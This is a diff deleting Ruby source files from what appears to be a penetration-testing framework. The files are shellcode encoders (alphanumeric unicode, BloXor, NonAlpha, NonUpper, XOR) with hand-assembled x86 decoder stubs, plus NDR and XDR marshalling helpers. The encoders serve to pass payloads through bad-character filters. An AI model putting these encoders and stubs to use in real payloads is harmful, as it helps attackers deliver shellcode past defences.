||||
|
||||
class UnicodeUpper < Generic
|
||||
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
||||
|
||||
def self.gen_second(block, base)
|
||||
# unicode uses additive encoding
|
||||
(block - base)
|
||||
end
|
||||
|
||||
def self.gen_decoder_prefix(reg, offset)
|
||||
if (offset > 6)
|
||||
raise "Critical: Offset is greater than 6"
|
||||
end
|
||||
|
||||
# offset untested for unicode :(
|
||||
if (offset <= 4)
|
||||
nop = 'CP' * offset
|
||||
mod = 'IA' * (4 - offset) + nop # dec ecx,,, push ecx, pop edx
|
||||
else
|
||||
mod = 'AA' * (offset - 4) # inc ecx
|
||||
nop = 'CP' * (4 - mod.length)
|
||||
mod += nop
|
||||
end
|
||||
|
||||
regprefix = { # nops ignored below
|
||||
'EAX' => 'PPYA' + mod, # push eax, pop ecx
|
||||
'ECX' => mod + '4444', # dec ecx
|
||||
'EDX' => 'RRYA' + mod, # push edx, pop ecx
|
||||
'EBX' => 'SSYA' + mod, # push ebx, pop ecx
|
||||
'ESP' => 'TUYA' + mod, # push esp, pop ecx
|
||||
'EBP' => 'UUYA' + mod, # push ebp, pop ecx
|
||||
'ESI' => 'VVYA' + mod, # push esi, pop ecx
|
||||
'EDI' => 'WWYA' + mod, # push edi, pop edi
|
||||
'[ESP]' => 'YA' + mod + '44', #
|
||||
'[ESP+4]' => 'YUYA' + mod, #
|
||||
}
|
||||
|
||||
return regprefix[reg]
|
||||
end
|
||||
|
||||
def self.gen_decoder(reg, offset)
|
||||
decoder =
|
||||
gen_decoder_prefix(reg, offset) +
|
||||
"QA" + # push ecx, NOP
|
||||
"TA" + # push esp, NOP
|
||||
"XA" + # pop eax, NOP
|
||||
"ZA" + # pop edx, NOP
|
||||
"PU" + # push eax, NOP
|
||||
"3" + # xor eax, [eax]
|
||||
"QA" + # push ecx, NOP
|
||||
"DA" + # inc esp, NOP
|
||||
"ZA" + # pop edx, NOP
|
||||
"BA" + # inc edx, NOP
|
||||
"RA" + # push edx, NOP
|
||||
"LA" + # dec esp, NOP
|
||||
"YA" + # pop ecx, NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"QA" + # push ecx, NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"QA" + # push ecx, NOP
|
||||
"PA" + # push eax, NOP
|
||||
"5AAA" + # xor eax, 41004100 - NOP
|
||||
"PA" + # push eax, NOP
|
||||
"Z" + # pop edx
|
||||
"1A" + # add [ecx], dh - NOP
|
||||
"I" + # dec ecx
|
||||
"1A" + # add [ecx], dh - NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"J" + # dec edx
|
||||
"1" + # add [ecx], dh
|
||||
"1A" + # add [ecx], dh - NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"XA" + # pop eax, NOP
|
||||
"58AA" + # xor eax, 41003800 - NOP
|
||||
"PA" + # push eax, NOP
|
||||
"ZA" + # pop edx, NOP
|
||||
"BA" + # inc edx, NOP
|
||||
"B" + # inc edx
|
||||
"Q" + # add [ecx], dl
|
||||
"I" + # dec ecx
|
||||
"1A" + # add [ecx], dh - NOP
|
||||
"I" + # dec ecx
|
||||
"Q" + # add [ecx], dl
|
||||
"IA" + # dec ecx, NOP
|
||||
"I" + # dec ecx
|
||||
"Q" + # add [ecx], dl
|
||||
"I" + # dec ecx
|
||||
"1" + # add [ecx], dh
|
||||
"1" + # add [ecx], dh
|
||||
"1" + # add [ecx], dh
|
||||
"1A" + # add [ecx], dh - NOP
|
||||
"IA" + # dec ecx, NOP
|
||||
"J" + # dec edx
|
||||
"Q" + # add [ecx], dl
|
||||
"I" + # dec edx
|
||||
"1A" + # add [ecx], dh - NOP
|
||||
"YA" + # pop ecx, NOP
|
||||
"ZB" + # pop edx, NOP
|
||||
"AB" + # inc ecx, NOP <-------
|
||||
"AB" + # inc ecx, NOP |
|
||||
"AB" + # inc ecx, NOP |
|
||||
"AB" + # inc ecx, NOP |
|
||||
"30" + # imul eax, [ecx], 10 * |
|
||||
"A" + # add al, [ecx+2] * |
|
||||
"P" + # mov [edx], al * |
|
||||
"B" + # inc edx |
|
||||
"9" + # cmp [ecx], 41 * |
|
||||
"4" + # jnz --------------------
|
||||
"4JB"
|
||||
|
||||
return decoder
|
||||
end
|
||||
|
||||
end end end end
|
|
@ -1,327 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/poly/machine'
|
||||
|
||||
module Rex
|
||||
|
||||
module Encoder
|
||||
|
||||
class BloXor < Msf::Encoder
|
||||
|
||||
def initialize( *args )
|
||||
super
|
||||
@machine = nil
|
||||
@blocks_out = []
|
||||
@block_size = 0
|
||||
end
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
def decoder_stub( state )
|
||||
|
||||
if( not state.decoder_stub )
|
||||
@blocks_out = []
|
||||
@block_size = 0
|
||||
|
||||
# XXX: It would be ideal to use a random block size but unless we know the maximum size our final encoded
|
||||
# blob can be we should instead start with the smallest block size and go up to avoid generating
|
||||
# anything too big (if we knew the max size we could try something smaller if we generated a blob too big)
|
||||
#block_sizes = (1..state.buf.length).to_a.shuffle
|
||||
#block_sizes.each do | len |
|
||||
|
||||
1.upto( state.buf.length ) do | len |
|
||||
|
||||
# For now we ignore all odd sizes to help with performance (The rex poly machine
|
||||
# doesnt have many load/store primitives that can handle byte sizes efficiently)
|
||||
if( len % 2 != 0 )
|
||||
next
|
||||
end
|
||||
|
||||
blocks, size = compute_encoded( state, len )
|
||||
if( blocks and size )
|
||||
|
||||
# We sanity check that the newly generated block ammount and the block size
|
||||
# are not in the badchar list when converted into a hex form. Helps speed
|
||||
# things up a great deal when generating a decoder stub later as these
|
||||
# values may be used throughout.
|
||||
|
||||
if( not number_is_valid?( state, blocks.length - 1 ) or not number_is_valid?( state, ~( blocks.length - 1 ) ) )
|
||||
next
|
||||
end
|
||||
|
||||
if( not number_is_valid?( state, size ) or not number_is_valid?( state, ~size ) )
|
||||
next
|
||||
end
|
||||
|
||||
@blocks_out = blocks
|
||||
@block_size = size
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
raise RuntimeError, "Unable to generate seed block." if( @blocks_out.empty? )
|
||||
|
||||
state.decoder_stub = compute_decoder( state )
|
||||
end
|
||||
|
||||
state.decoder_stub
|
||||
end
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
def encode_block( state, data )
|
||||
|
||||
buffer = ''
|
||||
|
||||
@blocks_out.each do | block |
|
||||
buffer << block.pack( 'C*' )
|
||||
end
|
||||
|
||||
buffer
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Is a number in its byte form valid against the badchars?
|
||||
#
|
||||
def number_is_valid?( state, number )
|
||||
size = 'C'
|
||||
if( number > 0xFFFF )
|
||||
size = 'V'
|
||||
elsif( number > 0xFF )
|
||||
size = 'v'
|
||||
end
|
||||
return Rex::Text.badchar_index( [ number ].pack( size ), state.badchars ).nil?
|
||||
end
|
||||
|
||||
#
|
||||
# Calculate Shannon's entropy.
|
||||
#
|
||||
def entropy( data )
|
||||
entropy = 0.to_f
|
||||
(0..255).each do | byte |
|
||||
freq = data.to_s.count( byte.chr ).to_f / data.to_s.length
|
||||
if( freq > 0 )
|
||||
entropy -= freq * Math.log2( freq )
|
||||
end
|
||||
end
|
||||
return entropy / 8
|
||||
end
|
||||
|
||||
#
|
||||
# Compute the encoded blocks (and associated seed)
|
||||
#
|
||||
def compute_encoded( state, len )
|
||||
|
||||
blocks_in = ::Array.new
|
||||
|
||||
input = '' << state.buf
|
||||
|
||||
block_padding = ( input.length % len ) > 0 ? len - ( input.length % len ) : 0
|
||||
|
||||
if( block_padding > 0 )
|
||||
0.upto( block_padding-1 ) do
|
||||
input << [ rand( 255 ) ].pack( 'C' )
|
||||
end
|
||||
end
|
||||
|
||||
while( input.length > 0 )
|
||||
blocks_in << input[0..len-1].unpack( 'C*' )
|
||||
input = input[len..input.length]
|
||||
end
|
||||
|
||||
seed = compute_seed( blocks_in, len, block_padding, state.badchars.unpack( 'C*' ) )
|
||||
|
||||
if( not seed )
|
||||
return [ nil, nil ]
|
||||
end
|
||||
|
||||
blocks_out = [ seed ]
|
||||
|
||||
blocks_in.each do | block |
|
||||
blocks_out << compute_block( blocks_out.last, block )
|
||||
end
|
||||
|
||||
return [ blocks_out, len ]
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the decoder stub which is functionally equivalent to the following:
|
||||
#
|
||||
# source = &end;
|
||||
# dest = source + BLOCK_SIZE;
|
||||
# counter = BLOCK_COUNT * ( BLOCK_SIZE / chunk_size );
|
||||
# do
|
||||
# {
|
||||
# encoded = *(CHUNK_SIZE *)dest;
|
||||
# dest += chunk_size;
|
||||
# decoded = *(CHUNK_SIZE *)source;
|
||||
# *(CHUNK_SIZE *)source = decoded ^ encoded;
|
||||
# source += chunk_size;
|
||||
# } while( --counter );
|
||||
#
|
||||
# end:
|
||||
#
|
||||
def compute_decoder( state )
|
||||
|
||||
@machine.create_variable( 'source' )
|
||||
@machine.create_variable( 'dest' )
|
||||
@machine.create_variable( 'counter' )
|
||||
@machine.create_variable( 'encoded' )
|
||||
@machine.create_variable( 'decoded' )
|
||||
|
||||
chunk_size = Rex::Poly::Machine::BYTE
|
||||
if( @machine.native_size() == Rex::Poly::Machine::QWORD )
|
||||
if( @block_size % Rex::Poly::Machine::QWORD == 0 )
|
||||
chunk_size = Rex::Poly::Machine::QWORD
|
||||
elsif( @block_size % Rex::Poly::Machine::DWORD == 0 )
|
||||
chunk_size = Rex::Poly::Machine::DWORD
|
||||
elsif( @block_size % Rex::Poly::Machine::WORD == 0 )
|
||||
chunk_size = Rex::Poly::Machine::WORD
|
||||
end
|
||||
elsif( @machine.native_size() == Rex::Poly::Machine::DWORD )
|
||||
if( @block_size % Rex::Poly::Machine::DWORD == 0 )
|
||||
chunk_size = Rex::Poly::Machine::DWORD
|
||||
elsif( @block_size % Rex::Poly::Machine::WORD == 0 )
|
||||
chunk_size = Rex::Poly::Machine::WORD
|
||||
end
|
||||
elsif( @machine.native_size() == Rex::Poly::Machine::WORD )
|
||||
if( @block_size % Rex::Poly::Machine::WORD == 0 )
|
||||
chunk_size = Rex::Poly::Machine::WORD
|
||||
end
|
||||
end
|
||||
|
||||
# Block 1 - Set the source variable to the address of the start block
|
||||
@machine.create_block_primitive( 'block1', 'set', 'source', 'location' )
|
||||
|
||||
# Block 2 - Set the source variable to the address of the 1st encoded block
|
||||
@machine.create_block_primitive( 'block2', 'add', 'source', 'end' )
|
||||
|
||||
# Block 3 - Set the destingation variable to the value of the source variable
|
||||
@machine.create_block_primitive( 'block3', 'set', 'dest', 'source' )
|
||||
|
||||
# Block 4 - Set the destingation variable to the address of the 2nd encoded block
|
||||
@machine.create_block_primitive( 'block4', 'add', 'dest', @block_size )
|
||||
|
||||
# Block 5 - Sets the loop counter to the number of blocks to process
|
||||
@machine.create_block_primitive( 'block5', 'set', 'counter', ( ( @block_size / chunk_size ) * (@blocks_out.length - 1) ) )
|
||||
|
||||
# Block 6 - Set the encoded variable to the byte pointed to by the dest variable
|
||||
@machine.create_block_primitive( 'block6', 'load', 'encoded', 'dest', chunk_size )
|
||||
|
||||
# Block 7 - Increment the destination variable by one
|
||||
@machine.create_block_primitive( 'block7', 'add', 'dest', chunk_size )
|
||||
|
||||
# Block 8 - Set the decoded variable to the byte pointed to by the source variable
|
||||
@machine.create_block_primitive( 'block8', 'load', 'decoded', 'source', chunk_size )
|
||||
|
||||
# Block 9 - Xor the decoded variable with the encoded variable
|
||||
@machine.create_block_primitive( 'block9', 'xor', 'decoded', 'encoded' )
|
||||
|
||||
# Block 10 - store the newly decoded byte
|
||||
@machine.create_block_primitive( 'block10', 'store', 'source', 'decoded', chunk_size )
|
||||
|
||||
# Block 11 - Increment the source variable by one
|
||||
@machine.create_block_primitive( 'block11', 'add', 'source', chunk_size )
|
||||
|
||||
# Block 12 - Jump back up to the outer_loop block while the counter variable > 0
|
||||
@machine.create_block_primitive( 'block12', 'loop', 'counter', 'block6' )
|
||||
|
||||
# Try to generate the decoder stub...
|
||||
decoder = @machine.generate
|
||||
|
||||
if( not decoder )
|
||||
raise RuntimeError, "Unable to generate decoder stub."
|
||||
end
|
||||
|
||||
decoder
|
||||
end
|
||||
|
||||
#
|
||||
# Compute the seed block which will successfully decode all proceeding encoded
|
||||
# blocks while ensuring the encoded blocks do not contain any badchars.
|
||||
#
|
||||
def compute_seed( blocks_in, block_size, block_padding, badchars )
|
||||
seed = []
|
||||
redo_bytes = []
|
||||
|
||||
0.upto( block_size-1 ) do | index |
|
||||
|
||||
seed_bytes = (0..255).sort_by do
|
||||
rand()
|
||||
end
|
||||
|
||||
seed_bytes.each do | seed_byte |
|
||||
|
||||
next if( badchars.include?( seed_byte ) )
|
||||
|
||||
success = true
|
||||
|
||||
previous_byte = seed_byte
|
||||
|
||||
if( redo_bytes.length < 256 )
|
||||
redo_bytes = (0..255).sort_by do
|
||||
rand()
|
||||
end
|
||||
end
|
||||
|
||||
blocks_in.each do | block |
|
||||
|
||||
decoded_byte = block[ index ]
|
||||
|
||||
encoded_byte = previous_byte ^ decoded_byte
|
||||
|
||||
if( badchars.include?( encoded_byte ) )
|
||||
# the padding bytes we added earlier can be changed if they are causing us to fail.
|
||||
if( block == blocks_in.last and index >= (block_size-block_padding) )
|
||||
if( redo_bytes.empty? )
|
||||
success = false
|
||||
break
|
||||
end
|
||||
block[ index ] = redo_bytes.shift
|
||||
redo
|
||||
end
|
||||
|
||||
success = false
|
||||
break
|
||||
end
|
||||
|
||||
previous_byte = encoded_byte
|
||||
end
|
||||
|
||||
if( success )
|
||||
seed << seed_byte
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if( seed.length == block_size )
|
||||
return seed
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
#
|
||||
# Compute the next encoded block by xoring the previous
|
||||
# encoded block with the next decoded block.
|
||||
#
|
||||
def compute_block( encoded, decoded )
|
||||
block = []
|
||||
0.upto( encoded.length-1 ) do | index |
|
||||
block << ( encoded[ index ] ^ decoded[ index ] )
|
||||
end
|
||||
return block
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,90 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require "rex/text"
|
||||
|
||||
module Rex
|
||||
module Encoder
|
||||
module NDR
|
||||
|
||||
# Provide padding to align the string to the 32bit boundary
|
||||
def NDR.align(string)
|
||||
return "\x00" * ((4 - (string.length & 3)) & 3)
|
||||
end
|
||||
|
||||
# Encode a 4 byte long
|
||||
# use to encode:
|
||||
# long element_1;
|
||||
def NDR.long(string)
|
||||
return [string].pack('V')
|
||||
end
|
||||
|
||||
# Encode a 2 byte short
|
||||
# use to encode:
|
||||
# short element_1;
|
||||
def NDR.short(string)
|
||||
return [string].pack('v')
|
||||
end
|
||||
|
||||
# Encode a single byte
|
||||
# use to encode:
|
||||
# byte element_1;
|
||||
def NDR.byte(string)
|
||||
return [string].pack('C')
|
||||
end
|
||||
|
||||
# Encode a byte array
|
||||
# use to encode:
|
||||
# char element_1
|
||||
def NDR.UniConformantArray(string)
|
||||
return long(string.length) + string + align(string)
|
||||
end
|
||||
|
||||
# Encode a string
|
||||
# use to encode:
|
||||
# char *element_1;
|
||||
def NDR.string(string)
|
||||
string << "\x00" # null pad
|
||||
return long(string.length) + long(0) + long(string.length) + string + align(string)
|
||||
end
|
||||
|
||||
# Encode a string
|
||||
# use to encode:
|
||||
# w_char *element_1;
|
||||
def NDR.wstring(string)
|
||||
string = string + "\x00" # null pad
|
||||
return long(string.length) + long(0) + long(string.length) + Rex::Text.to_unicode(string) + align(Rex::Text.to_unicode(string))
|
||||
end
|
||||
|
||||
# Encode a string and make it unique
|
||||
# use to encode:
|
||||
# [unique] w_char *element_1;
|
||||
def NDR.uwstring(string)
|
||||
string = string + "\x00" # null pad
|
||||
return long(rand(0xffffffff))+long(string.length) + long(0) + long(string.length) + Rex::Text.to_unicode(string) + align(Rex::Text.to_unicode(string))
|
||||
end
|
||||
|
||||
# Encode a string that is already unicode encoded
|
||||
# use to encode:
|
||||
# w_char *element_1;
|
||||
def NDR.wstring_prebuilt(string)
|
||||
# if the string len is odd, thats bad!
|
||||
if string.length % 2 > 0
|
||||
string = string + "\x00"
|
||||
end
|
||||
len = string.length / 2;
|
||||
return long(len) + long(0) + long(len) + string + align(string)
|
||||
end
|
||||
|
||||
# alias to wstring, going away soon
|
||||
def NDR.UnicodeConformantVaryingString(string)
|
||||
NDR.wstring(string)
|
||||
end
|
||||
|
||||
# alias to wstring_prebuilt, going away soon
|
||||
def NDR.UnicodeConformantVaryingStringPreBuilt(string)
|
||||
NDR.wstring_prebuilt(string)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,61 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Encoder
|
||||
|
||||
class NonAlpha
|
||||
|
||||
def NonAlpha.gen_decoder
|
||||
decoder =
|
||||
"\x66\xB9\xFF\xFF" +
|
||||
"\xEB\x19" + # Jmp to table
|
||||
"\x5E" + # pop esi
|
||||
"\x8B\xFE" + # mov edi, esi - Get table addr
|
||||
"\x83\xC7" + "A" + # add edi, tablelen - Get shellcode addr
|
||||
"\x8B\xD7" + # mov edx, edi - Hold end of table ptr
|
||||
"\x3B\xF2" + # cmp esi, edx
|
||||
"\x7D\x0B" + # jle to end
|
||||
"\xB0\x7B" + # mov eax, 0x7B - Set up eax with magic
|
||||
"\xF2\xAE" + # repne scasb - Find magic!
|
||||
"\xFF\xCF" + # dec edi - scasb purs us one ahead
|
||||
"\xAC" + # lodsb
|
||||
"\x28\x07" + # subb [edi], al
|
||||
"\xEB\xF1" + # jmp BACK!
|
||||
"\xEB" + "B" + # jmp [shellcode]
|
||||
"\xE8\xE2\xFF\xFF\xFF"
|
||||
end
|
||||
|
||||
def NonAlpha.encode_byte(block, table, tablelen)
|
||||
if tablelen > 255 || block == 0x7B
|
||||
raise RuntimeError, "BadChar"
|
||||
end
|
||||
|
||||
if (block >= 0x41 && block <= 0x5A) || (block >= 0x61 && block <= 0x7A)
|
||||
# gen offset, return magic
|
||||
offset = 0x7b - block
|
||||
table += offset.chr
|
||||
tablelen = tablelen + 1
|
||||
block = 0x7B
|
||||
end
|
||||
|
||||
return [block.chr, table, tablelen]
|
||||
end
|
||||
|
||||
def NonAlpha.encode(buf)
|
||||
table = ""
|
||||
tablelen = 0
|
||||
nonascii = ""
|
||||
encoded = gen_decoder()
|
||||
buf.each_byte { |block|
|
||||
newchar, table, tablelen = encode_byte(block.unpack('C')[0], table, tablelen)
|
||||
nonascii += newchar
|
||||
}
|
||||
encoded.gsub!(/A/, tablelen)
|
||||
encoded.gsub!(/B/, tablelen+5)
|
||||
encoded += table
|
||||
encoded += nonascii
|
||||
end
|
||||
|
||||
end end end
|
|
@ -1,64 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Encoder
|
||||
|
||||
class NonUpper
|
||||
|
||||
|
||||
def NonUpper.gen_decoder()
|
||||
decoder =
|
||||
"\x66\xB9\xFF\xFF" +
|
||||
"\xEB\x19" + # Jmp to table
|
||||
"\x5E" + # pop esi
|
||||
"\x8B\xFE" + # mov edi, esi - Get table addr
|
||||
"\x83\xC7" + "A" + # add edi, tablelen - Get shellcode addr
|
||||
"\x8B\xD7" + # mov edx, edi - Hold end of table ptr
|
||||
"\x3B\xF2" + # cmp esi, edx
|
||||
"\x7D\x0B" + # jle to end
|
||||
"\xB0\x7B" + # mov eax, 0x7B - Set up eax with magic
|
||||
"\xF2\xAE" + # repne scasb - Find magic!
|
||||
"\xFF\xCF" + # dec edi - scasb purs us one ahead
|
||||
"\xAC" + # lodsb
|
||||
"\x28\x07" + # subb [edi], al
|
||||
"\xEB\xF1" + # jmp BACK!
|
||||
"\xEB" + "B" + # jmp [shellcode]
|
||||
"\xE8\xE2\xFF\xFF\xFF"
|
||||
end
|
||||
|
||||
def NonUpper.encode_byte(badchars, block, table, tablelen)
|
||||
if (tablelen > 255) or (block == 0x40)
|
||||
raise RuntimeError, "BadChar"
|
||||
end
|
||||
|
||||
if (block >= 0x41 and block <= 0x40) or (badchars =~ block)
|
||||
# gen offset, return magic
|
||||
offset = 0x40 - block;
|
||||
table += offset.chr
|
||||
tablelen = tablelen + 1
|
||||
block = 0x40
|
||||
end
|
||||
|
||||
return [block.chr, table, tablelen]
|
||||
end
|
||||
|
||||
def NonUpper.encode(buf)
|
||||
table = ""
|
||||
tablelen = 0
|
||||
nonascii = ""
|
||||
encoded = gen_decoder()
|
||||
buf.each_byte {
|
||||
|block|
|
||||
|
||||
newchar, table, tablelen = encode_byte(block.unpack('C')[0], table, tablelen)
|
||||
nonascii += newchar
|
||||
}
|
||||
encoded.gsub!(/A/, tablelen)
|
||||
encoded.gsub!(/B/, tablelen+5)
|
||||
encoded += table
|
||||
encoded += nonascii
|
||||
end
|
||||
|
||||
end end end
|
|
@ -1,108 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Encoder
|
||||
|
||||
###
|
||||
#
|
||||
# This class implements basic XDR encoding.
|
||||
#
|
||||
###
|
||||
module XDR
|
||||
MAX_ARG = 0xffffffff
|
||||
|
||||
# Also: unsigned int, bool, enum
|
||||
def XDR.encode_int(int)
|
||||
return [int].pack('N')
|
||||
end
|
||||
|
||||
def XDR.decode_int!(data)
|
||||
raise ArgumentError, 'XDR: No Integer data to decode' unless data
|
||||
raise ArgumentError, "XDR: Too little data to decode (#{data.size})" if data.size < 4
|
||||
return data.slice!(0..3).unpack('N')[0]
|
||||
end
|
||||
|
||||
def XDR.encode_lchar(char)
|
||||
char |= 0xffffff00 if char & 0x80 != 0
|
||||
return encode_int(char)
|
||||
end
|
||||
|
||||
def XDR.decode_lchar!(data)
|
||||
return (decode_int!(data) & 0xff).chr
|
||||
end
|
||||
|
||||
# Also: Variable length opaque
|
||||
def XDR.encode_string(str, max=MAX_ARG)
|
||||
raise ArgumentError, 'XDR: String too long' if str.length > max
|
||||
len = str.length
|
||||
str << "\x00" * ((4 - (len & 3)) & 3)
|
||||
return encode_int(len) + str
|
||||
end
|
||||
|
||||
def XDR.decode_string!(data)
|
||||
real_len = decode_int!(data)
|
||||
return "" if real_len == 0
|
||||
align_len = (real_len + 3) & ~3
|
||||
return data.slice!(0..align_len-1).slice(0..real_len-1)
|
||||
end
|
||||
|
||||
def XDR.encode_varray(arr, max=MAX_ARG, &block)
|
||||
raise ArgumentError, 'XDR: Too many array elements' if arr.length > max
|
||||
return encode_int(arr.length) + arr.collect(&block).join(nil)
|
||||
end
|
||||
|
||||
def XDR.decode_varray!(data)
|
||||
buf = []
|
||||
1.upto(decode_int!(data)) { buf.push(yield(data)) }
|
||||
return buf
|
||||
end
|
||||
|
||||
# encode(0, [0, 1], "foo", ["bar", 4]) does:
|
||||
# encode_int(0) +
|
||||
# encode_varray([0, 1]) { |i| XDR.encode_int(i) } +
|
||||
# encode_string("foo") +
|
||||
# encode_string("bar", 4)
|
||||
def XDR.encode(*data)
|
||||
data.collect do |var|
|
||||
if var.kind_of?(String)
|
||||
encode_string(var)
|
||||
elsif var.kind_of?(Integer)
|
||||
encode_int(var)
|
||||
elsif var.kind_of?(Array) && var[0].kind_of?(String)
|
||||
raise ArgumentError, 'XDR: Incorrect string array arguments' if var.length != 2
|
||||
encode_string(var[0], var[1])
|
||||
elsif var.kind_of?(Array) && var[0].kind_of?(Integer)
|
||||
encode_varray(var) { |i| XDR.encode_int(i) }
|
||||
# 0 means an empty array index in the case of Integer and an empty string in
|
||||
# the case of String so we get the best of both worlds
|
||||
elsif var.kind_of?(Array) && var[0].nil?
|
||||
encode_int(0)
|
||||
else
|
||||
type = var.class
|
||||
type = var[0].class if var.kind_of?(Array)
|
||||
raise TypeError, "XDR: encode does not support #{type}"
|
||||
end
|
||||
end.join(nil)
|
||||
end
|
||||
|
||||
# decode(buf, Integer, String, [Integer], [String]) does:
|
||||
# [decode_int!(buf), decode_string!(buf),
|
||||
# decode_varray!(buf) { |i| XDR.decode_int!(i) },
|
||||
# decode_varray!(buf) { |s| XDR.decode_string(s) }]
|
||||
def XDR.decode!(buf, *data)
|
||||
return *data.collect do |var|
|
||||
if data.length == 0
|
||||
elsif var.kind_of?(Array) && var[0] == String
|
||||
decode_varray!(buf) { |s| XDR.decode_string!(s) }
|
||||
elsif var.kind_of?(Array) && var[0] == Integer
|
||||
decode_varray!(buf) { |i| XDR.decode_int!(i) }
|
||||
elsif var == String
|
||||
decode_string!(buf)
|
||||
elsif var == Integer
|
||||
decode_int!(buf)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,69 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Encoder
|
||||
|
||||
###
|
||||
#
|
||||
# This class performs basic XOR encoding.
|
||||
#
|
||||
###
|
||||
class Xor
|
||||
|
||||
attr_accessor :raw, :encoded, :badchars, :opts, :key, :fkey # :nodoc:
|
||||
|
||||
#
|
||||
# wrap that in a wanna be static class
|
||||
#
|
||||
def self.encode(*args)
|
||||
self.new.encode(*args)
|
||||
end
|
||||
|
||||
#
|
||||
# Return the class associated with this encoder.
|
||||
#
|
||||
def encoder()
|
||||
self.class::EncoderKlass
|
||||
end
|
||||
|
||||
#
|
||||
# This method encodes the supplied data, taking into account the badchar
|
||||
# list, and returns the encoded buffer.
|
||||
#
|
||||
def encode(data, badchars = '', opts = { })
|
||||
self.raw = data
|
||||
self.badchars = badchars
|
||||
self.opts = opts
|
||||
|
||||
# apply any transforms to the plaintext data
|
||||
data = _unencoded_transform(data)
|
||||
|
||||
self.encoded, self.key, self.fkey = encoder().find_key_and_encode(data, badchars)
|
||||
|
||||
# apply any transforms to the encoded data
|
||||
self.encoded = _encoded_transform(encoded)
|
||||
|
||||
return _prepend() + encoded + _append()
|
||||
end
|
||||
|
||||
protected
|
||||
def _unencoded_transform(data) # :nodoc:
|
||||
data
|
||||
end
|
||||
|
||||
def _encoded_transform(data) # :nodoc:
|
||||
data
|
||||
end
|
||||
|
||||
def _prepend() # :nodoc:
|
||||
""
|
||||
end
|
||||
|
||||
def _append() # :nodoc:
|
||||
""
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end
|
||||
|
|
@ -1,13 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoder/xor'
|
||||
require 'rex/encoding/xor/dword'
|
||||
|
||||
###
|
||||
#
|
||||
# This class wraps the Dword XOR encoder.
|
||||
#
|
||||
###
|
||||
class Rex::Encoder::Xor::Dword < Rex::Encoder::Xor
|
||||
EncoderKlass = Rex::Encoding::Xor::Dword
|
||||
end
|
|
@ -1,13 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoder/xor'
|
||||
require 'rex/encoding/xor/dword_additive'
|
||||
|
||||
###
|
||||
#
|
||||
# This class wraps the Dword XOR Additive feedback encoder.
|
||||
#
|
||||
###
|
||||
class Rex::Encoder::Xor::DwordAdditive < Rex::Encoder::Xor
|
||||
EncoderKlass = Rex::Encoding::Xor::DwordAdditive
|
||||
end
|
|
@ -1,20 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# make sure the namespace is created
|
||||
#
|
||||
|
||||
module Rex
|
||||
module Encoding
|
||||
module Xor
|
||||
end end end
|
||||
|
||||
#
|
||||
# include the Xor encodings
|
||||
#
|
||||
|
||||
require 'rex/encoding/xor/generic'
|
||||
require 'rex/encoding/xor/byte'
|
||||
require 'rex/encoding/xor/word'
|
||||
require 'rex/encoding/xor/dword'
|
||||
require 'rex/encoding/xor/qword'
|
|
@ -1,15 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoding/xor/generic'
|
||||
|
||||
module Rex
|
||||
module Encoding
|
||||
module Xor
|
||||
|
||||
class Byte < Generic
|
||||
|
||||
def Byte.keysize
|
||||
1
|
||||
end
|
||||
|
||||
end end end end # Byte/Xor/Encoding/Rex
|
|
@ -1,21 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoding/xor/generic'
|
||||
|
||||
#
|
||||
# Routine for xor encoding a buffer by a 2-byte (intel word) key. The perl
|
||||
# version used to pad this buffer out to a 2-byte boundary, but I can't think
|
||||
# of a good reason to do that anymore, so this doesn't.
|
||||
#
|
||||
|
||||
module Rex
|
||||
module Encoding
|
||||
module Xor
|
||||
|
||||
class Dword < Generic
|
||||
|
||||
def Dword.keysize
|
||||
4
|
||||
end
|
||||
|
||||
end end end end # Dword/Xor/Encoding/Rex
|
|
@ -1,92 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoding/xor/exceptions'
|
||||
require 'rex/encoding/xor/generic'
|
||||
|
||||
#
|
||||
# Routine for xor encoding a buffer by a 2-byte (intel word) key. The perl
|
||||
# version used to pad this buffer out to a 2-byte boundary, but I can't think
|
||||
# of a good reason to do that anymore, so this doesn't.
|
||||
#
|
||||
|
||||
module Rex
|
||||
module Encoding
|
||||
module Xor
|
||||
|
||||
class DwordAdditive < Generic
|
||||
|
||||
def DwordAdditive.keysize
|
||||
4
|
||||
end
|
||||
|
||||
def DwordAdditive._packspec
|
||||
'V'
|
||||
end
|
||||
|
||||
